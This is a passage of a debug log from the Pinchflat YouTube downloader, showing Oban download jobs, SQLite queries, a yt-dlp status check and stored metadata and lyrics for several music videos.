{"args":{"id":180},"id":209,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3636573,"event":"job:stop","queue_time":12664757,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:57.718 [info] {"args":{"id":184},"id":211,"meta":{},"system_time":1784859657718160520,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:57.719 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Discord Server (Join the community):\nhttps://discord.gg/D7VzSMwuCK\n\nSubmit Songs:\nkarmaismalding@gmail.com\nhttps://www.instagram.com/iluvkxrma/\n\nStream VIOLENT VIRA \"Saccharine\": \nhttps://open.spotify.com/track/1NiPI7ATyw4ZwI2b858XrT\n\nSupport VIOLENT VIRA:\nSpotify: https://open.spotify.com/artist/298H8XdYsBHii98wfAZT1S\nInstagram: https://www.instagram.com/violentvira/\nSoundCloud: https://soundcloud.com/vira-vampira\n\nSpotify Playlist: (Updated Weekly)\nhttps://open.spotify.com/playlist/2uH82mcVGKHCUzxpkGInfd?si=220916f879044854&pt=62f044d02d849d63bb479e3ecf9b7bdb\n\nAnime:\nMushoku Tensei\nJobless Reincarnation\n\nLyrics for \"Saccharine\" by VIOLENT VIRA:\n\nBring all the sinners to me\nI will tear out my limbs for your feast\nI promise the bleeding is fine\nLet my body fill bottles of wine\n\nRotting, I'm wasting my youth\nLaying down the like child I knew\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharine, always saccharine\nThere's a war\nDie!\n\nA war\n\nAnd it's all opulence\nOh, wisteria\nLike an angel to the sun\nBring it on, my hysteria\nLoad it in the barrel of a gun\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharinе, holy saccharine\nThere's a war\nSaccharinе, holy saccharine\nThere's a war in my head\nDon't think you wanna pretend\nSaccharine, holy saccharine\nThere's a war\nDie!", "duration" => 193, "filename" => "/downloads/Grift/Grift/2025-01-27VIOLENT VIRA - Saccharine (Lyrics ⧸ AMV)[zX_HY9_t_H4].m4a", "id" => "zX_HY9_t_H4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zX_HY9_t_H4", "playlist_index" => 16, "timestamp" => 1737982881, "title" => "VIOLENT VIRA - Saccharine (Lyrics / AMV)", "upload_date" => "20250127"} 22:20:57.719 [debug] QUERY OK source="media_items" db=0.5ms idle=326.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [184] 22:20:57.719 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:57.720 [debug] QUERY OK source="sources" db=0.3ms idle=327.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:57.720 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=327.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:57.720 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=112.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:57.720 [debug] QUERY OK source="sources" db=0.3ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:57.721 [debug] QUERY OK source="media_items" db=0.4ms idle=1.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [184] 22:20:57.721 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-27 13:01:21Z], 4] 22:20:57.875 [debug] QUERY OK source="media_metadata" db=0.2ms queue=153.0ms idle=1.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [184] 22:20:57.875 [debug] QUERY OK source="media_items" db=153.5ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discord Server (Join the community):\nhttps://discord.gg/D7VzSMwuCK\n\nSubmit Songs:\nkarmaismalding@gmail.com\nhttps://www.instagram.com/iluvkxrma/\n\nStream VIOLENT VIRA \"Saccharine\": \nhttps://open.spotify.com/track/1NiPI7ATyw4ZwI2b858XrT\n\nSupport VIOLENT VIRA:\nSpotify: https://open.spotify.com/artist/298H8XdYsBHii98wfAZT1S\nInstagram: https://www.instagram.com/violentvira/\nSoundCloud: https://soundcloud.com/vira-vampira\n\nSpotify Playlist: (Updated Weekly)\nhttps://open.spotify.com/playlist/2uH82mcVGKHCUzxpkGInfd?si=220916f879044854&pt=62f044d02d849d63bb479e3ecf9b7bdb\n\nAnime:\nMushoku Tensei\nJobless Reincarnation\n\nLyrics for \"Saccharine\" by VIOLENT VIRA:\n\nBring all the sinners to me\nI will tear out my limbs for your feast\nI promise the bleeding is fine\nLet my body fill bottles of wine\n\nRotting, I'm wasting my youth\nLaying down the like child I knew\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharine, always saccharine\nThere's a war\nDie!\n\nA war\n\nAnd it's all opulence\nOh, wisteria\nLike an angel to the sun\nBring it on, my hysteria\nLoad it in the barrel of a gun\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharinе, holy saccharine\nThere's a war\nSaccharinе, holy saccharine\nThere's a war in my head\nDon't think you wanna pretend\nSaccharine, holy saccharine\nThere's a war\nDie!", "VIOLENT VIRA - Saccharine (Lyrics / AMV)", "28e3cc51-f69f-4fc4-984f-d0f1b5d8f212", false, "zX_HY9_t_H4", 193, false, "https://www.youtube.com/watch?v=zX_HY9_t_H4", 16, "/downloads/Grift/Grift/2025-01-27VIOLENT VIRA - Saccharine (Lyrics ⧸ AMV)[zX_HY9_t_H4].m4a", false, false, 4, [], 1, ~U[2025-01-27 13:01:21Z], ~U[2026-07-24 02:20:57Z], ~U[2026-07-24 02:20:57Z], "Discord Server (Join the community):\nhttps://discord.gg/D7VzSMwuCK\n\nSubmit Songs:\nkarmaismalding@gmail.com\nhttps://www.instagram.com/iluvkxrma/\n\nStream VIOLENT VIRA \"Saccharine\": \nhttps://open.spotify.com/track/1NiPI7ATyw4ZwI2b858XrT\n\nSupport VIOLENT VIRA:\nSpotify: https://open.spotify.com/artist/298H8XdYsBHii98wfAZT1S\nInstagram: https://www.instagram.com/violentvira/\nSoundCloud: https://soundcloud.com/vira-vampira\n\nSpotify Playlist: (Updated Weekly)\nhttps://open.spotify.com/playlist/2uH82mcVGKHCUzxpkGInfd?si=220916f879044854&pt=62f044d02d849d63bb479e3ecf9b7bdb\n\nAnime:\nMushoku Tensei\nJobless Reincarnation\n\nLyrics for \"Saccharine\" by VIOLENT VIRA:\n\nBring all the sinners to me\nI will tear out my limbs for your feast\nI promise the bleeding is fine\nLet my body fill bottles of wine\n\nRotting, I'm wasting my youth\nLaying down the like child I knew\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharine, always saccharine\nThere's a war\nDie!\n\nA war\n\nAnd it's all opulence\nOh, wisteria\nLike an angel to the sun\nBring it on, my hysteria\nLoad it in the barrel of a gun\n\nSaccharine, always saccharine\nThere's a war in my head\nThat you can't comprehend\nSaccharinе, holy saccharine\nThere's a war\nSaccharinе, holy saccharine\nThere's a war in my head\nDon't think you wanna pretend\nSaccharine, holy saccharine\nThere's a war\nDie!", "VIOLENT VIRA - Saccharine (Lyrics / AMV)", "zX_HY9_t_H4", 193, false, "https://www.youtube.com/watch?v=zX_HY9_t_H4", "/downloads/Grift/Grift/2025-01-27VIOLENT VIRA - Saccharine (Lyrics ⧸ AMV)[zX_HY9_t_H4].m4a", false, 4, ~U[2025-01-27 13:01:21Z]] 22:20:57.875 [debug] QUERY OK source="media_profiles" db=0.3ms idle=154.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:57.876 [debug] QUERY OK source="sources" db=0.3ms idle=154.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:57.876 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=154.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:57.876 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:57.877 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:57.877 [debug] QUERY OK source="media_items" db=0.2ms idle=1.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [136] 22:20:57.877 [debug] Current batch of media processed. Will check again in 1000ms 22:20:57.877 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:57.877 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:57.877 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:57.878 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Vz4djMTVIoA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/63/0a/630a5aa29189590f0fc7df631ad81e038621403ddb24cdb6e904b8e94688a828.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:58.113 [debug] Current batch of media processed. Will check again in 1000ms 22:20:58.878 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Taken from the ORDEN OGAN studio record \"Gunmen\" - released 7/7/2017 \n\nORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records\n\n#### LYRICS ####\n\nthe toll of the warning bell\nmy boots sink in bullet shells\nI have become an outlaw,\nnightmare of the damned\n\nthe hangman left the scaffold\nI took him out, still blindfold\nI made this place a ghost town,\npainted the lanes red\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME\n\nwhen shadows hide at high noon\nI kneel down by her tombstone\nand from the earth she'll rise\nto pass her site to you\n\nyou will beg for forgiveness\nI'll make you plead and confess\nfind absolution with a \nbullet in your head\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME", "duration" => 360, "filename" => "/downloads/Grift/Grift/2017-05-19ORDEN OGAN - Gunman (2017) ⧸⧸ Official Music Video ⧸⧸ AFM Records[JPm46Qgyn24].m4a", "id" => "JPm46Qgyn24", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JPm46Qgyn24", "playlist_index" => 17, "timestamp" => 1495210962, "title" => "ORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records", "upload_date" => "20170519"} 22:20:58.878 [debug] QUERY OK source="sources" db=0.2ms idle=1000.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:58.878 [debug] QUERY OK source="sources" db=0.1ms idle=1001.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:58.879 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-05-19 16:22:42Z], 4] 22:20:59.118 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "duration" => 226, "filename" => "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", "id" => "zlFwo3T3UxU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zlFwo3T3UxU", "playlist_index" => 4, "timestamp" => 1779444085, "title" => "Nightcore – Like A Prayer | Wagakki Rock", "upload_date" => "20260522"} 22:20:59.219 [debug] QUERY OK source="media_items" db=339.3ms idle=1001.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Taken from the ORDEN OGAN studio record \"Gunmen\" - released 7/7/2017 \n\nORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records\n\n#### LYRICS ####\n\nthe toll of the warning bell\nmy boots sink in bullet shells\nI have become an outlaw,\nnightmare of the damned\n\nthe hangman left the scaffold\nI took him out, still blindfold\nI made this place a ghost town,\npainted the lanes red\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME\n\nwhen shadows hide at high noon\nI kneel down by her tombstone\nand from the earth she'll rise\nto pass her site to you\n\nyou will beg for forgiveness\nI'll make you plead and confess\nfind absolution with a \nbullet in your head\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME", "ORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records", "e248da0e-c3db-498c-95cf-f84cfab5d8f9", false, "JPm46Qgyn24", 360, false, "https://www.youtube.com/watch?v=JPm46Qgyn24", 17, "/downloads/Grift/Grift/2017-05-19ORDEN OGAN - Gunman (2017) ⧸⧸ Official Music Video ⧸⧸ AFM Records[JPm46Qgyn24].m4a", false, false, 4, [], 1, ~U[2017-05-19 16:22:42Z], ~U[2026-07-24 02:20:58Z], ~U[2026-07-24 02:20:58Z], "Taken from the ORDEN OGAN studio record \"Gunmen\" - released 7/7/2017 \n\nORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records\n\n#### LYRICS ####\n\nthe toll of the warning bell\nmy boots sink in bullet shells\nI have become an outlaw,\nnightmare of the damned\n\nthe hangman left the scaffold\nI took him out, still blindfold\nI made this place a ghost town,\npainted the lanes red\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME\n\nwhen shadows hide at high noon\nI kneel down by her tombstone\nand from the earth she'll rise\nto pass her site to you\n\nyou will beg for forgiveness\nI'll make you plead and confess\nfind absolution with a \nbullet in your head\n\nbridge:\nI'll find you...\nI'll hunt you down\nI'll be your final nightmare\n\nchorus:\nI AM THE GUNMAN\nI BRING SALVATION ON THIS DAY\nHERE COMES THE GUNMAN\nYOU KNOW THAT VENGEANCE IS MY NAME", "ORDEN OGAN - Gunman (2017) // Official Music Video // AFM Records", "JPm46Qgyn24", 360, false, "https://www.youtube.com/watch?v=JPm46Qgyn24", "/downloads/Grift/Grift/2017-05-19ORDEN OGAN - Gunman (2017) ⧸⧸ Official Music Video ⧸⧸ AFM Records[JPm46Qgyn24].m4a", false, 4, ~U[2017-05-19 16:22:42Z]] 22:20:59.219 [debug] QUERY OK source="sources" db=0.2ms idle=340.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:59.219 [debug] QUERY OK source="media_profiles" db=0.1ms idle=340.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:59.222 [debug] QUERY OK source="sources" db=103.9ms queue=0.1ms idle=698.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:20:59.222 [debug] QUERY OK source="media_items" db=0.4ms queue=2.4ms idle=340.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137] 22:20:59.223 [debug] Current batch of media processed. Will check again in 1000ms 22:20:59.223 [debug] QUERY OK source="sources" db=0.3ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:59.223 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS 